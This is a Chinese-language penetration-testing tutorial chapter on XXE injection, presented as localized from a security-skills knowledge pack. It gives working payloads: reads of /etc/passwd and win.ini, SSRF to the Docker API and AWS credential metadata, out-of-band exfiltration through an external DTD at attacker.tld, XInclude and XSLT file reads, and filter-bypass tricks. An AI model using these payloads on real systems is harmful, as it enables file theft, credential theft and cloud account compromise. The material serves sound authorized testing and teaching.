第 5 章 · 05 XXE 本节摘要:XML 外部实体注入(XXE)是解析器层面的失败,可读取本地文件、对内部控制面做 SSRF、经实体膨胀做拒绝服务,在某些栈中还能经 XInclude/XSLT 或语言特定的包装器做代码执行。本节讲透 XXE 的攻击面、四类检测通道、核心 payload(本地文件/SSRF/带外参数实体)、关键漏洞(XInclude/XSLT/协议包装器)、特殊上下文(SOAP/SAML/SVG/Office)、绕过技巧与验证方法。原则是:在解析器被证明已加固之前,把每个 XML 输入都当作不受信。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。
本节摘要:XML 外部实体注入(XXE)是解析器层面的失败,可读取本地文件、对内部控制面做 SSRF、经实体膨胀做拒绝服务,在某些栈中还能经 XInclude/XSLT 或语言特定的包装器做代码执行。本节讲透 XXE 的攻击面、四类检测通道、核心 payload(本地文件/SSRF/带外参数实体)、关键漏洞(XInclude/XSLT/协议包装器)、特殊上下文(SOAP/SAML/SVG/Office)、绕过技巧与验证方法。原则是:在解析器被证明已加固之前,把每个 XML 输入都当作不受信。
内容来源:原项目知识包
strix/skills/vulnerabilities/xxe.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
document()、协议包装器。能力:
注入面:
嵌入(Transclusion):
document() 加载外部资源高价值目标:
xml、upload、import、transform、xslt、xsl、xinclude;处理指令头部💡 核心心法:XXE 不是某一个端点的问题,而是「这条链路上有没有任何一个 XML 解析器开了实体解析」。后台任务、CLI 工具、第三方 SDK 用的是不同的解析器配置,必须分别测。
实体内容在 HTTP 响应、转换输出或错误页中内联泄露。
诱发解析器错误,经插值消息泄露路径片段或文件内容。
经参数实体与外部 DTD 的盲 XXE;用 DNS/HTTP 回调确认。把数据编码进请求路径/参数以带外小秘密(主机名、token)。用 interactsh-client -v 作为回调域名,把它当作外部 DTD 主机(如 <!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">),在 interactsh stdout 上读 DNS/HTTP 命中。
获取慢或不可路由的资源,产生可测时延差(连接超时 vs 读取超时)。
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <r>&xxe;</r>
Windows:
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <r>&xxe;</r>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]> <r>&xxe;</r>
云元数据:
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]> <r>&xxe;</r>
当内容不回显时,用参数实体把数据外带:
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
evil.dtd:
<!ENTITY % f SYSTEM "file:///etc/hostname"> <!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>"> %e; %exfil;
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </root>
在实体解析被禁但 XInclude 在管线中仍启用的地方有效。
XSLT 处理器可经 document() 获取外部资源:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet>
目标:转换端点、报告引擎(XSLT/Jasper/FOP)、xml-stylesheet PI 消费者。
jar:、netdoc:php://filter、expect://(模块启用时)编码变体:UTF-16/UTF-7 声明、混合换行;CDATA 与注释规避简单过滤器。
DOCTYPE 变体:PUBLIC vs SYSTEM、混合大小写 <!DoCtYpE>;内部 vs 外部子集、多 DOCTYPE 边界处理。
网络控制:网络被封但文件系统可读时,转向本地文件泄露;文件被封但网络开放时,转向 SSRF/OAST。
💡 绕过的本质:XXE 的绕过围绕「让过滤器认不出 DOCTYPE/实体,但解析器仍处理它们」——大小写、编码、CDATA、PUBLIC/SYSTEM 切换都是常见手段。XInclude/XSLT 往往在实体解析被禁后仍然启用,是关键备用面。
确认一个 XXE 真实存在的稳妥步骤:
常见误报:
expect:// 在不安全栈中的代码执行⚠️ XXE 即便「只能读文件」也常是严重——读取
.env、.aws/credentials、~/.ssh/等即可获得凭据,后续横向移动。带 SSRF 能力时,云元数据服务(IAM token)几乎是直接的云账户攻陷。
interactsh-client)、时间(慢资源)。file:///etc/passwd)、SSRF(http://127.0.0.1:2375)、OOB 参数实体(外部 DTD 外带 %f;)。document()、协议包装器(Java jar:/netdoc:、PHP php://filter/expect:、Gopher 到 Redis/FCGI)。下一节,我们看不安全反序列化——把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现 RCE。